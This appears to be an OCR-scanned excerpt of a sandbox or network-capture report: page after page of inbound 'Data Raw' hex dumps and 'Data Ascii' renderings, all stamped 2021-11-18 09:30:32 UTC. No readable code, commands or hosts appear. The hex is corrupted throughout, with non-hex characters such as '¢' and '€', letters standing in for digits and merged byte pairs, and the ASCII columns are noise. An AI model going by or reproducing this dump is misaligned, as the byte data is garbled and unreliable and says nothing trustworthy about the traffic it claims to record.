db e8 81 76 bf f9 ff 0a 89 55 7c 6¢c 42 a0 af 10 d6 7b 82 5d 2c 80 14 8f aa fa 5d f8 06 b5 72 70 62 6e 39 58 e7 dc 10 66 53
45 ¢5 3c 5¢ 29 05 28 ce eb bd 65 f2 32 e6 9e 24 6d
Data Ascii: F(Ad)/[AR|]P"'\XEDpSCnsf~"$4$FIzB(n70Thu<orZwllU%JOs4MqGve!TJ<=Rj3Ldz<vU|IB{],]rpbn9XfSE<\)(e2$m

2021-11-18 09:30:32 UTC 2631 IN Data Raw: 2c b8 00 d8 77 c9 dd fd ba 55 51 17 08 71 af bc 4b 8f 0d 25 c0 61 04 09 2b e0 b9 85 25 9b f7 c8 05 d8 52 f9 f2
0179 7d 28 €8 29 1d 81 9e 3a 16 7f ea 48 13 08 88 51 23 04 a9 4d e2 ea e6 ed c4 4b f5 18 50 7b b0 bd 16 61 25 fc 73 fa
ce 4e b2 8a 05 4b f8 e5 cb 9a ac a3 8¢ 37 18 4b 50 b1 54 27 4c 5e a3 22 af 3d f8 05 5¢ 5 56 f1 61 56 fe 18 e7 c8 39 93 6a
26 3e 20 80 7f 90 1f 5¢ 48 Oc 35 59 Ob 31 ae a6 65 5a 3c ef a5 21 44 ff 9f a3 41 3d 19 94 81 77 dc 01 b2 31 eb ca 2c 2f b6
00 23 63 35 bf d1 43 1f 01 21 2d 55 b2 c5 c4 e2 28 05 62 €0 b5 4 bd 2d 55 90 ¢5 15 €8 28 41 07 f9 29 9 61 f4 07 cf b9 3e
70 70 dc 44 47 Ob a7 e7 6¢c da f7 16 d9 16 32 c9 fe b2 7d 8b 9e c¢5 a7 10 7b c4 3d 75 05 98 2b aa 91 59 3a 9b 40 06 f6 2a
ad 9d 05 e4 91 e0 ad 5e 70 2e c5 21 c7 f5 b9
Data Ascii: ,wUQQqK%a+%Ry}():HQ#MKP{a%sNK7KPT'LA"=\VaV9j&> \H5Y1eZ<IDA=w1,/#c5C!-U(b-U(A)a>ppDGI2}{=u
+Y:@*p.!

2021-11-18 09:30:32 UTC 2647 IN Data Raw: df a0 69 bb 87 ef 37 bd e6 a8 9d 4a 40 f7 95 b4 a5 7f 9c 1f b7 79 03 49 dd 46 6b bd 45 1f 4b e7 2c 8a 51 68 06
13 59 af d5 f4 fd 2e a4 eb a6 c7 d6 12 5f ff 8e 52 d7 ca 22 ¢9 58 75 47 aa c8 a9 85 €9 35 b6 ef 3c b2 1e 5f a9 db a9 c2 8e
df fd 77 e5 80 40 66 8c db e9 5e 3f 11 2c c4 78 5a ed 01 f8 3b 6¢ 5e e5 6b 3c 5d b8 21 d7 fd a5 c6 6a 02 37 ac e0 c1 d8
191069 a2 cb 1c 61 18 43 2b cb 9d al a6 Oc e0 fe 0d 2b af 28 bd 7f 86 31 e3 0f 30 fa bd 2a fd ca 16 2b 98 21 d9 39 8f 08
le 16 ec 60 ed 95 bb 09 c8 c9 50 7e 00 Oc 50 49 77 3 d6 46 44 c4 3c 78 83 01 36 a3 56 84 40 83 39 85 €9 61 3a 76 b2 13
db 6f c¢5 02 fb dc f4 66 2c ea f9 f5 80 82 7 50 fd e4 e6 00 3e c5 e 7c 48 6b 9a 19 1f 73 77 ae 66 5¢ 0d 96 13 4c el b9 32
5c¢ 5b f7 4c ¢6 c0 0f d1 00 f6 9b da df ae 82
Data Ascii: i7J@yIFKEK,QhY._R"XuG5<_w@f"? xZ;1"k<]!j7iaC++(10*+!9°P~PIwFD<x6V@9a:vof,P>|Hkswf\L2\[L

2021-11-18 09:30:32 UTC 2663 IN Data Raw: 3b f8 ¢3 bd 02 1c 57 a3 85 55 16 a2 4a fe e8 74 95 77 15 8a 25 d5 1e ee 3d e9 b8 4f f8 1a f1 39 76 2b be 6e 66

10 09 24 b9 3f 8¢ 9a f1 41 62 41 7c 4c el 78 a6 c4 1c 01 eb db 68 10 f0 2e 12 2d 57 b8 69 b5 a9 84 d4 cc 1b 10 99 14 a0
7 02 fa 25 a4 3b 68 80 d3 db c0 9c 9b c8 c1 bc €9 4a 77 b3 a9 13 d4 be ba 60 8c 2b 6b ce 12 20 2f d7 bc 07 a4 ae 31 25
36 eb 7c c0 34 d7 e4 cO f9 b2 e8 5¢ b8 47 bd f4 38 62 2a 28 10 a6 74 al a0 3d 74 89 8f 60 c5 60 97 c2 1e 89 4e 59 a8 a2
€0 87 79 fd 86 9f 76 fc fO af 79 80 1e 6d 00 ad 1a aa b8 95 b5 94 d1 99 24 00 6e ca 7d 8e 85 8d 2d dO 5b f5 94 ba 3d 1e
18 d7 Oc 14 d3 75 7c 48 08 4e be 09 9c 3e c5 6f 2f df b5 38 1f d2 70 78 38 67 4b 01 57 1a 3e a8 aa 40 2f 4a 48 Ob 68 9e
fe 4598 12 72 e8 93 4a f9 ae cf 7a 11 5f fb 31 00 b6

Data Ascii: ;WUJtw%=09v+nf$?AbA|Lxh.-Wi%;hIw’+k /1%6|4\G8b*(t=t""NYyvym$n}-[=u|HN>0/8px8gKW>@/JHhErJz_1

2021-11-18 09:30:32 UTC 2679 IN Data Raw: 14 fd f8 be bf 40 64 b0 3b 95 42 2e fc aa 9a a0 28 7d 76 1f e7 e2 af 71 25 22 76 90 70 86 19 46 fc c4 54 5e 68
8d 47 9e 84 0f ab 45 06 01 a3 f5 05 97 c5 a2 44 ef ca 34 81 c1 73 8b 76 2b 3b fc 30 52 3d 99 4a a2 5a 4e aa 34 a7 b7 b7
02 68 84 bb 65 57 cd e0 c9 42 f3 77 3e 6f da b2 56 d7 45 b8 26 59 45 57 ae a3 43 b1l e9 a0 7a f6 8c 4e 12 fe af e2 83 b4
ba cf c4 4e ec bd a8 68 09 f0 02 c0 3f 7f 45 6e cb 77 1e 03 90 40 12 6f 2e 1a 98 7b f2 b7 fe 6¢ 8¢c ¢9 02 Oc 23 09 a5 7d 79
08 24 81 f7 e0 €9 33 b5 02 ce dc 8b dd 45 43 9d b0 d1 fd 63 28 be 31 3e 10 19 00 ab 12 fe 67 1d c2 4b 60 51 40 f5 d6 86
4a9d e5 03 88 93 f3 43 61 6b 12 14 3c 54 af c8 08 04 02 18 df 44 d5 f1 fc fe 19 Oc a7 ee 50 7b 42 c6 50 ff 5a 5f 4c f8 f8 d8
50 cb 46 b7 48 95 2e 64 Oc 69 12 72 53 28 83
Data Ascii: @d;B.(}vq%"vpFT*hGED4sv+;0R=JZN4heWBw>0VE&YEWCzNNh?Enw@o.{l#}y$3ECc(1>gK'Q@JCa
k<TDP{BPZ_LPFH.dirS(

2021-11-18 09:30:32 UTC 2695 IN Data Raw: 64 de 14 60 06 c1 83 47 5e db 97 20 cc ed ef 54 {7 75 13 b7 d4 f6 Oc 41 47 78 2d 72 a0 50 83 30 b3 64 4b 44
6b ff 20 7a 67 9d c9 4f 0d ac b0 c4 55 7e 04 18 37 ba 71 6¢ ce 3¢ 00 72 c2 7c 13 50 6d db aa a7 63 84 5¢c 04 a0 1a 18 5e
0b 22 38 97 23 86 ae 5b e4 ea 13 5a fb 31 ce a6 55 29 ca 27 76 d4 a0 c5 4b 71 3c Oe 01 08 62 60 d8 14 14 6e f3 c3 05 4b
ea 30 c4 1f 1c ef 81 d3 10 08 7a c9 2f 47 46 3d 4d 92 03 14 8e 7c ec 5b bc ¢8 0f d5 70 92 b8 6e 20 a5 d4 24 aa 5e 32 82
f3 37 a6 9a fd 71 9d c7 4c Ob 53 5a 70 72 eb 97 e5 b0 65 1c ed 2a 89 6e c0 18 a0 ee c0 40 34 65 60 3a 97 2f 18 48 59 3e
88 aa 05 61 17 87 fe 6e a2 21 80 8e f5 a0 c0 90 97 09 c1 7d f0 fb Oc al 6e d4 bf 74 95 1e 56 18 7f d7 f9 d3 1a ca cO 13 8d
09 01 77 el a4 52 6f 4a 50 6f 03 22 57 10 78 60 30 80
Data Ascii: d'G”" TUAGX-rPOdKDk zgOU~7ql<r|Pmc\\"8#[Z1U)'vKq<b nK0z/GF=M|[pn $"27qLSZpre*n@4e":/HY>an
IntVwRoJPo"Wx 0

2021-11-18 09:30:32 UTC 2711 IN Data Raw: 42 19 96 25 81 8e 98 99 58 04 60 02 23 95 53 19 aa 5a 44 a4 fd 93 4a 40 ee 4c 99 62 14 9 60 ac 7c aa c6 1f
36 1d 87 a3 al 4b 39 ba 7c 8d 59 59 d7 4c c4 0d a4 8e Of 17 b7 c9 fa 6f 35 Ob 35 77 ff 75 4f fd 8¢ 9 8¢ fa 4a 12 d7 20 89
bb 03 c5 a7 1d 6d 17 a9 95 42 ac 5 14 f9 1a 95 87 7e 49 04 80 00 42 12 15 2¢ ca 53 03 a6 1d 2a c7 61 04 bd 15 91 f0 84
3b 12 9f 3a €6 d0 71 88 35 ac 1d 12 d5 3f dc bc 2d 14 c1 05 26 41 d1 4 50 fa 08 25 a3 08 e3 61 06 79 6¢ 76 50 c0 16 25
34 49 ee ce 12 ac 65 a8 06 38 cd 7e 2a 09 70 43 38 40 66 77 13 36 48 Oc ad 35 84 c1 a6 06 d9 6e 10 12 b7 a2 3d €0 51
33 bf 80 42 4e 7f €0 ba 95 18 Ob ¢4 2d 14 5¢ 13 2b ab 8b 1a 57 00 f4 eb 58 34 ec ab ab e2 08 74 8 16 01 a0 98 6e 48 38
2f ¢9 22 5e 9e 09 4a b4 d0 6 5e a0 Oc 7b 66 29 72 76 65
Data Ascii: BY%X #SZDJ@Lb'|6K9|YYL055wu0J mB~IB,S*a;:q5?-&AP%aylvP%4le8~*pC8@MW6H5N=Q3BN-\+
WXAtnH8/" I {f)rve

2021-11-18 09:30:32 UTC 2727 IN Data Raw: bb 57 89 c2 5f 52 60 41 f6 23 e6 82 2f b1 fc 76 1e dc 38 1e 0d 42 b0 5e 44 1d 1c 6e 60 7a 85 cc 9c f5 a7 d5 19
3c 5e cc e4 78 52 18 8¢ 3d 10 ce ab 25 de 71 75 10 6b 83 dd 4a fe 8e 57 1a 6a b4 fc fb 39 €8 1e 50 cc 13 9f f1 78 70 13
10 9a 22 3b 7d 07 31 db 14 78 52 c2 fd fa 60 Oa 14 70 6d 5e f8 40 77 3a f7 ec c2 c8 41 83 ee d0 32 4e 18 be cc e4 5a 88
9a 36 82 f7 70 f2 5e 43 bb 57 ec a3 ba 4f b4 9f 01 12 c1 2a eb 21 e3 8e 3f c1 80 10 37 7e 38 49 68 f4 8a 9f 11 62 8e 31 28
90 70 2c 95 8f 2d 7d 34 18 14 88 d0 fe ae ad 3a €8 7a e2 7e 55 e2 10 75 d0 7a Oe 41 cc 6a 59 6a 60 38 50 75 4e b5 d6
d4 dc 09 92 c4 fd ff 59 5b 58 98 fd d7 d8 a7 26 le 26 3f fe 41 ef ¢5 €9 c2 0f a4 29 4c 24 5d 32 c6 €6 19 02 d5 b6 37 €6 06
€8 5e 3e 3¢ 20 71 Ob 70 63 5d 38 00 52 dd f6 d3 05
Data Ascii: W_R"A#/v8B"Dn z<"xR=%qukJWjIPxp";}1xR pm @w:A2NZ6p"CWO*1?7~8lhb1(p,-}4:z~UuzAjYj 8PUNY[X
&&?A)L$]274>< gpc]8R

2021-11-18 09:30:32 UTC 2743 IN Data Raw: ff 42 f8 60 66 6d 4b 20 f6 f3 76 95 9e 52 58 d4 53 5a ff ef 6b 1a Ob 70 75 01 f7 15 0d 2d 16 a0 43 5d 13 Oc 8c ec
728859 02 b7 a2 c4 78 74 23 2d ¢4 2a 44 38 c2 c2 29 72 65 be 4b ec e8 fO c4 23 80 06 a7 91 54 c7 a2 08 42 13 59 c6 84
02 55 68 f4 97 e0 7b 58 a9 9d 77 b4 ad 97 57 17 b9 91 e9 92 be 90 b2 6¢ 08 45 97 f6 e7 c0 dO d9 b6 68 8a f9 c9 96 57 e9
2f 81 c3 el 15 6a 2b b3 f0 96 bc 14 ad 38 ad 5f 2f c4 4b f1 43 2e bd 5d €9 7a 8a 10 d2 d9 22 6a 29 7c 2f b5 25 1f 1c 4e a8
9d e0 ab 7f €8 9d 94 89 5a 31 e0 06 ab 25 f0 d2 00 9¢ 44 a7 70 c1 09 dd 87 a0 e0 ff c5 4d 27 46 89 f3 00 f1 03 e5 97 dd
3c 84 30 06 02 38 6d 01 6f 4c 68 fO 3b 2¢ 18 €8 09 18 33 fb 91 3c Ob 4b bb 7c¢ 7f 81 95 17 0f 0a d5 7a cc Oc 5¢ a4 11 Oc
18 6¢ 6f 9e 48 b6 €0 10 4d a9 9c 1c e8 3 82 3d
Data Ascii: B'fmK vVRXSZkpu-ClzYxt#-*D8)reK#TBYUh{XwWIEhW/j+8_/KC.]z"})|/%NZ1%DpM'F<08moLh;,3<K|z\loHM=
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 2759 IN Data Raw: f7 85 fa 17 54 a7 a0 25 04 7e d6 25 f7 33 64 a8 a5 75 3d Ob 9e ba 4c 80 55 e7 b2 0d 01 b5 70 6a b8 b2 4e ff 9d
35 3b fc f7 a4 ee b2 e0 d4 b9 a3 50 04 09 68 Oe cc 44 a6 2 2d 53 30 73 5f f1 23 73 4b 25 64 21 9f 2a ed 9a 02 6¢ 60 47
14 75 65 66 69 5f c5 0c 27 d6 fa fa 7d d1 40 d2 75 f3 67 49 f5 ce e2 97 5 bc Oe 7c 8b 95 f1 5e 5a f4 64 69 db 05 04 41 fe
e4 8f e6 1f ea 26 ff 4a ba 9a 4a 85 46 dd 68 le 12 4a dd be d8 38 32 10 95 4c a2 17 ca a4 d1 94 68 dd 8e 14 ea b5 17 ea
9c bc f4 6e 34 2¢ 8b 74 f5 cf f0 08 6¢ 30 31 50 b8 48 6a b3 58 63 8c d2 78 04 14 36 Of ba €9 bb e7 00 86 08 2a 14 4a 98
38 24 49 5a 04 cc 7e 8e ae 50 43 b6 14 f2 94 9¢ 27 10 5b b4 08 e7 e0 08 98 95 00 09 65 d7 b5 b6 17 58 bf c4 00 55 a9 f4
e4 e7 ec 6d 5b db 28 24 32 a8 3e ba 90 c2 15 13 6e
Data Ascii: T%~%3du=LUpjN5;PhD-S0s_#sK%d!*I'Guefi_t@ug!|"ZdiA&JIIFhI82Lhn4,tl01PHjXcx6*J8$1Z~PC'[eXU
m[($2>n

2021-11-18 09:30:32 UTC 2775 IN Data Raw: 18 5e df f6 32 b0 3c 55 02 1c 0d e7 55 db 64 c9 d7 16 b8 9c 5¢ 59 2a 38 4a 2b €3 28 92 31 c8 7a 80 62 71 88
20 a7 80 8e 39 d6 f4 d3 77 52 0a 9c 59 ee 40 b8 70 c8 54 00 2b 19 Oc Oa c1 40 cO e6 26 b6 bf 78 f0 8a b8 85 27 7d ef 52
Ob c2 21 29 5¢ de c2 70 5e 64 93 fe 24 62 04 fO f5 10 fO 30 12 27 a3 4f e4 1c 4f 48 f0 98 a5 09 9c 08 98 27 c8 d6 64 Oc f2
09 21 11 fe 88 2c cb 05 ca 63 2b af e0 30 cc a0 96 2e 95 ea ad 26 e0 b2 44 73 dc 31 9a 48 97 58 15 30 dO dc ae fd 97 f5
la 7c c4 dO Ob e8 fc 4d a7 f6 78 b8 24 b6 88 a7 5e Oa la f4 3c 65 80 8c 02 2e 68 Oa 14 d6 d2 dc e4 02 4f a6 62 aa fa c8
8c 18 8a 80 fe e4 bd 7c 5a 67 b6 c0 26 7b 89 34 b7 d6 d6 d1 83 04 €9 ea 67 28 d5 92 72 3f 11 5a 3b f3 27 1f b2 52 b8 02
68 f5 bl 7c 51 7f 71 0a 3b 82 b9 c1 e7 70 12 f5 ce 4f
Data Ascii: ~2<UUd\Y*8J+(1zbq 9WRY @pT+@4&x'}R!)\p"d$b0'OOH'd!,c+0.&Ds1HX0|Mx$"<e.hOb|Zg&{4g(r?Z;'Rh|Qq;pO

2021-11-18 09:30:32 UTC 2791 IN Data Raw: 35 5d 5 e8 9c 58 cc 13 f1 5f af 3c d6 18 46 c6 13 b4 22 dc 5a e2 86 17 fe 53 fd 3c 54 e2 86 ec ff 80 c2 fO b5 e5
92 89 35 11 55 65 20 Oc fa 90 19 d7 00 0a 79 c3 e2 fd 58 d4 c5 e9 3a 28 dc 80 00 be 34 f1 e6 27 fa 9 06 02 2c 21 4d 08
1a 23 57 66 f8 f2 af 4c 26 36 84 68 81 c9 44 01 ea 8a c7 9e 2e 27 40 16 1d 78 36 72 f4 9f 56 88 f0 8e cd 43 fd c2 2e d0 fc
36 23 64 39 41 80 28 ff 7c b2 a9 02 e2 dc d8 32 97 75 8a 2e 8e 03 c8 b7 c2 17 27 44 23 82 02 be ef 5f 38 68 22 21 30 d4
02 28 54 77 4e 05 6a 2f 09 b6 c1 be 2c 87 93 41 2a 3f 9 00 8b c9 e5 56 10 9b c6 7a a2 38 e6 fe b7 28 86 bc 18 a4 11 {7
21011979 e9 c2 35 51 08 f5 5f 3b 23 32 10 c9 a7 7e 09 35 68 dd al 6e 20 a0 89 e0 93 06 38 ea 9d 2e 3d 70 79 13 31 19
c4 6¢ 18 2¢ 02 6¢ c8 Oa b2 4d 59 69 2a 14 49 de
Data Ascii: 5]X_<F"ZS<T5Ue yX:(4',M#WfL&6hD.'@x6rVC.6#d9A(|2u.'D#_8h"I0(TwNj/,A*?Vz8(ly5Q_;#2~5hn 8.=pyllIMY
i*l

2021-11-18 09:30:32 UTC 2807 IN Data Raw: cO 36 ee fc 19 10 7b f6 02 10 e7 e6 12 0d 4c d1 1a d7 af 2b df 30 18 b6 b9 58 6a f7 99 70 00 eb 31 c6 bc 49 33
20 02 40 12 42 95 46 0b 53 f2 00 df 3f 2f 10 97 c0 50 e6 72 ac aa 35 26 92 a9 38 98 a6 1b 73 98 f4 bf 97 d9 c2 89 04 ca
90 1e ba bl bd 69 76 97 2f 05 12 b6 53 af 8c f6 57 e7 a5 18 55 10 72 45 2¢ b9 30 12 39 80 59 3d a5 9b 2e f5 10 30 88 6d
95 00 ed e6 c0 f0 6f 93 03 8d 97 87 e8 d2 09 29 4c bf 8c b1 4c 55 96 07 20 03 a2 f0 1c 95 83 b2 bf 36 e4 Ob a0 75 44 75
31 d1 89 3c 37 Oe ¢3 85 bf 72 98 7c 7e b2 27 de 86 e9 d7 9e 1a 55 66 8e 6a d1 a0 78 e6 83 10 34 4d 4a 9c 03 2c 7c 47 c0
dd 8a c2 7e f7 7a 28 9¢ 16 47 13 c0 fb fe ff 67 09 dd d5 ca 0f 96 d0 43 42 10 Of Oc 4e 9f a0 4a 4e cc 6f 00 2a Of e4 ba 16
7e 12 Oc 87 4e 19 1c 32 e9 30 02 ef 28 80 bf f0 31
Data Ascii: 6{L+0Xjp1I3 @BFS?/Pr5&8siv/ISWUrE,09Y=.0mo)LLU 6uDul<7r|~'Ufjx4MJ,|G~z(GgCBNJINo*~N20(1

2021-11-18 09:30:32 UTC 2823 IN Data Raw: 1f 04 d8 01 25 42 9a 70 d0 31 b8 0a 40 d5 7b 48 Oc d9 b7 00 61 Ob 7d 92 01 31 c7 81 3c el al 2b d0 ec 6¢ c8
€262 73 a0 28 3e 52 aa 25 58 06 d3 1a Of ac 4c 64 cd 19 f2 05 c2 16 3e 01 21 22 7e 54 73 10 ¢c5 14 44 a9 99 c9 9¢c 5d 71
aaad 76 96 78 ec ac 4e ff ee 9c d5 9a 42 d6 2d b0 67 95 3d 51 89 14 3c bf 3c cc f9 46 ¢3 62 78 6b c5 55 66 €0 bd c8 fc d9
e5el 15a9 73 11 db 8c 86 f6 8e f0 Ob ba 81 94 eb df 3e 8e 54 be 86 44 9c 28 70 50 36 9d 71 61 e9 7e 88 58 36 f9 8c 60
06 21 d1 45 ae 48 9d 54 1e 02 e3 97 8f 37 ¢7 42 09 1d 8b d6 2 de 13 bc 9a fc bf 2a 52 16 4f 20 e8 1a b2 12 dc f1 02 d5
04 5c 8c c0 ba 75 45 4f b8 a0 64 8d 27 51 c9 f1 2a 08 c6 44 31 3c 0d fc c2 fd e5 36 08 a5 8b 49 df 47 be 16 a0 el fd 3b e8
be 4e ea 8e 02 34 80 29 ee a8 02 4a bf 78 96 07 5a
Data Ascii: %Bpl@{Ha}1<+lbs(>R%XLd>!"~TsD]qvxNB-g=Q<<FbxkUfs>TD(pP6ga~X6"'EHT7B*RO \UEOd'Q*D1<6IG;N4
)IXZ

2021-11-18 09:30:32 UTC 2839 IN Data Raw: 2e 8b 25 f5 71 72 ¢7 ae b4 01 30 dc da d7 12 87 5a 5f 27 24 40 f1 1a a9 7c 16 07 dd 50 b8 71 b4 00 ca 2b 56
23 7f 13 39 53 6f 94 8f 81 82 17 42 6e 92 3c a8 20 61 85 36 ac 80 0a 12 cc 7c 4a 11 f6 52 0d ff 18 ec 53 08 8d 02 31 e2
7550 ab 69 82 84 70 a3 8c ef d8 5a 18 85 93 f3 18 f1 11 90 43 4a 02 f8 f6 al 16 1a 3a 43 ac 2e 25 43 el 21 1d 6¢ 04 e3
b4 85 fe 9b 56 83 f8 5 01 84 6d fe 02 b2 7b 76 ac 80 c6 6b e6 06 d8 6f 71 45 81 40 fO 68 Of Ob b6 29 54 90 56 41 cf a9 eb
87 8a 4184 2c fb ad f5 85 dd 5b bf a3 31 8b 3¢ 56 60 c9 81 9e bb f6 45 Oc 59 95 62 Oc d5 16 07 79 e9 9f d9 9f 49 d5 16 {7
fe dd 30 27 3f b3 57 bf fe 12 c¢6 4a 51 ac 67 ac 56 13 be 29 8f 80 93 e6 ae c2 7b de c1 Oc c¢3 b8 76 13 00 2e d9 f8 d3 24 02
79 80 af ed 41 5c 5e 3f 34 4f fe ca 18 ¢4 89 el
Data Ascii: .%qr0Z_'$@|Pg+V#9SoBn< a6|IRS1UPipZCJ:C.%C!IVm{vkogE@h)TVAA [1<V EYbyl0'?WJIQgV){v.$yA\"?40

2021-11-18 09:30:32 UTC 2855 IN Data Raw: 00 al 91 46 98 25 42 88 3e 78 d9 4f b7 40 Oc 36 ea e4 9c 7b 38 19 c6 f0 95 de e2 e9 10 5c 5d ca b6 60 40 12
15 b5 c0 43 fe 1c eb ed 21 02 09 99 e6 2b 91 9c 40 7a 01 00 02 38 c5 7d 20 7f 95 40 e0 5a 3c e9 4f 93 a2 d9 1d Oa cd 94
46 3a dd ef f9 9d 80 0f 68 50 32 40 e7 bc Oc 8¢ 97 82 a8 5¢ 87 4a 9d ec 33 d7 ba 02 08 f0 el 8d 20 a7 eb 9c 08 4f 12 a2
d9 le a3 4d 57 cd el 28 ad 12 73 51 88 f3 ea Oc 3b 22 80 11 b5 d8 22 e2 2a 00 d1 2f e4 40 ed 41 6b 3 25 dd 97 a0 da 69
11cb 42 18 09 e5 bd 19 4a d7 27 f4 37 80 88 a7 a4 63 02 98 7a bd 83 34 66 41 f7 00 4d 94 f7 c5 c5 78 88 dc f9 18 27 a8
d7 23 1c f2 €3 84 49 10 57 66 6e 2f df e6 79 fa ad 7d 80 3b e8 ed dc 9b 95 5¢ 52 49 74 9a 63 Ob 99 84 be fd da c4 13 44 ff
€2 4d 3115 11 d8 66 3b e9 29 el 3c 38 21 c6 3b ec c3
Data Ascii: F%B>x0@6{8\] @C!+@2z8} @Z<OF:hP2@\J3 OMW(sQ;"*/@Ak%iBJ'7cz4fAMX'#IWfn/y};\RItcDM1f;)<8!;

2021-11-18 09:30:32 UTC 2871 IN Data Raw: 57 f4 d6 7e b7 d3 98 49 57 d9 39 d1 5b 3f 9e 9d 5f ae 3e 37 5e b6 c¢7 d6 fa da 38 7e 82 d5 65 9a 80 e9 d9 e6
e7 ff 1c b7 7b 37 1f fa 20 20 ac 75 00 34 63 ec b0 1a 12 3d cb c0 14 c3 bf ba eb c5 4b a9 ab d8 02 3¢ 40 23 5¢ b0 ee bd 0C
3b b9 12 6b d2 9f 22 fb 5b 57 7e b9 62 c8 23 7a e4 69 d5 dc 74 17 01 3c dd cc be fd 25 ec 3a e8 81 1f 16 19 d3 e0 bc cd
00 95 e4 61 4b fd 8d 1a 3e 6f 65 4b 28 b4 49 70 64 97 df bb a6 18 ac 9c df 34 6 9e 25 af eb df 10 bd 18 e6 25 4b 5f 7c 0d
02 f1 27 16 01 02 a6 29 d5 11 af 80 2e al d0 2a ae 38 a4 a0 69 33 64 7 e4 e7 2d 5a 41 fc 72 78 4a 3a 82 76 5d 79 77 6e
84 16 ed 5d 13 ff c2 af 2c 01 37 4e 6d e8 ed b0 €9 06 2e 90 15 eb fd 4c 80 d4 03 57 a7 a4 d9 7a 5f 18 €9 95 84 38 al 06
87 1a 2¢ 00 72 a5 be f5 a7 06 af f0 30 c6 e7 b0 11
Data Ascii: W~IW9[?_>7"8~e{7 udc=K<@#\K"[W~b#zit<%:aK>0eK(Ipd4%%K_|').*8i3d-ZArxJ:vlywn],7Nm.LWz_8,r0

2021-11-18 09:30:32 UTC 2887 IN Data Raw: 78 e4 76 a7 1e 8b cb 66 57 b7 71 82 €9 12 fd ff 15 20 ce 20 2b 61 00 63 5b 84 0b 69 12 45 60 c0 b8 9b b7 30
6e 2a 02 23 74 Oe c3 a4 bf 43 7b a8 9e 44 06 31 70 04 2a 5f 2f fd cO 8c 4a 8e 71 5e 1f 9f 5e 3d 1f 9¢ 80 cd 1d 95 b3 97 1c
b1 Oc e5 7b 68 78 36 46 38 96 14 8d Oe b8 63 97 91 93 8a b1 71 a0 65 83 7a 30 fb fc 8b 1a 24 b3 40 80 a8 74 26 3e 38 94
Of f7 58 89 56 2f bc 8f e0 83 c2 f1 el el 46 18 2b bc 3e Oe ¢8 f9 03 12 Oa fe 71 a8 89 1f 2a 80 5d 20 f8 ab cb 9a 8a 1c 94
49 f9 59 eb 24 ef de 7a 60 09 d2 76 67 20 e3 3d c0 33 3f 69 4b 3c bf cf c3 75 bd f4 d0 50 68 4d 38 3f 3d 5f b8 ad b4 ef 89
80 3b ae 79 91 1d 1f 3a e8 2a a3 56 88 be 99 91 8 77 bf 54 3c d2 71 6¢ 6¢ ac a7 ec 78 d2 55 ab e6 31 e0 68 3f 4c 34 35
03 67 bb 8 4a b4 ee b2 bd a5 fa cf 7 d3 bf a2
Data Ascii: xvfWq +ac[iE On*#tC{D1p*_/Jg"'={hx6F8cqez0$@t&>8XV/F+>q*] IY$z vg =3?iK<uPhM8?=_;y:*VwT
<glixU1h?L45gJ

2021-11-18 09:30:32 UTC 2903 IN Data Raw: 54 7a c4 55 aa 28 74 be Ob 37 d5 70 49 77 6e ea bd 09 fd d5 1f 00 17 14 b6 f4 d7 a3 cf e4 de 87 c0 53 68 3c
9d c5 5a 5f 99 ef 2a ca 6b d3 ab cb c3 42 03 04 €9 63 bl e4 bb f7 a3 ch €3 d0 01 73 cb 9d 36 9d 24 fe f5 cd 08 cf 72 09 dc
83 66 al 33 bb df 20 ba e7 41 16 cf 2d 62 9d 00 ea Oc 4d 7f a5 76 06 5a 9e fc 49 b1 41 53 84 30 66 4c 8e f0 65 d1 16 45
31 be a0 2e ¢5 60 3b 6f 03 d0 2b 74 4a e5 a4 Oe 7d c5 76 ff be a8 2c 5e e7 00 09 32 e4 fe 57 f3 50 a9 8a c2 6e e2 6f 20 42
ce 03595 76 89 d6 a9 69 d8 fO 6e 87 78 84 1a c8 70 48 f9 e4 b9 c1 04 f1 09 e5 72 65 af b2 39 20 7d 07 12 b6 78 62 8b
36 cd 50 f6 75 06 43 3d 70 2f 3 60 25 d7 26 40 3d ec a6 b7 a8 a8 84 00 8d 7e b2 5f fb 18 9d df 1c 2e 23 de dd 00 8d b2
8e 23 04 9b 4e 05 04 76 3f 1c 01 b9 bb 96 ec 89 14
Data Ascii: TzU(t7plwnSh<Z_*kBcs6$rf3 A-bMvZIASOfLeEL. ;0+tI}v,"2WPno BvinxpHre9 }xb6PuC=p/ %&@=~_##Nv?
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 2919 IN Data Raw: b8 1b 74 17 f9 7f 21 a0 c7 €9 74 f2 3b 2f 6e 07 f1 89 07 a9 fc 18 8¢ 02 ac e0 ba 01 ca 59 f5 45 33 a4 d1 a5 c7
0a 25 cd 6e 05 e9 9f 41 c2 c3 6f 75 1c b5 3f d8 f2 c4 ea e2 6¢ 05 18 38 86 39 cd af cO ff cf 62 8e f2 20 ec {7 16 31 41 fe 71
7e 17 a2 82 14 e6 51 ba 4d 5d a4 e7 22 eb c0 ad Ob e5 2b 5b a2 a8 3d b7 60 ad 5c de 63 bf 70 83 24 0f b9 aa 26 c7 30 10
e7 a3 36 4b 06 fe 12 38 f7 19 97 a2 73 4e bb 9b de 20 83 4f 51 81 72 38 43 24 99 f0 4a 5e 99 5a 3b 2e 26 25 55 e8 9¢ 17
72 25 94 66 f2 cb 09 bd 97 dc 47 de 51 el 52 53 bb ¢4 93 17 5a 14 f9 84 da 3e dd 7b 51 fa 5d 51 89 d8 53 bb 84 97 09 e3
d5 cf 73 25 dO 20 bf 74 d9 5c 87 5d 20 d3 09 f6 92 ff 3d 83 23 f2 f3 4e Of bf 2d c8 6d 69 85 2f 60 ee 25 64 ab f5 3c 40 cO
62 4b 5c 5f 3b a8 5a 01 40 2d e0 68 19 5e 3e
Data Ascii: t't;/nYE3%nAou?I89b 1Aq~QM]"+[="\cp$&06K8sN OQr8C$IZ;.&%Ur%nfGQRSZ>{Q]QSs% t\] =#N-mi/ %
d<@bK\_;Z@-h">

2021-11-18 09:30:32 UTC 2935 IN Data Raw: bd 2f f4 17 9a fe cb 33 d7 df 31 5b fc 08 ac 53 a8 a0 96 3a 25 60 11 le 7e 0f e9 88 73 e3 a0 be 8c d5 c4 b2 50
22 fe c8 {7 20 74 ec 5e 1a a2 e0 cb a4 77 94 9f 43 9a 10 36 ef 4a e6 40 02 bf 80 68 bd ec 10 70 1c d2 60 09 6b ce 63 1c
ce 3d 90 6b 00 30 06 21 3d 27 1d b7 89 b7 4f cO 8e 80 1c 11 17 48 0 8d 26 8c 8¢ 20 d3 64 47 02 9e 14 28 42 2b 01 5d f3
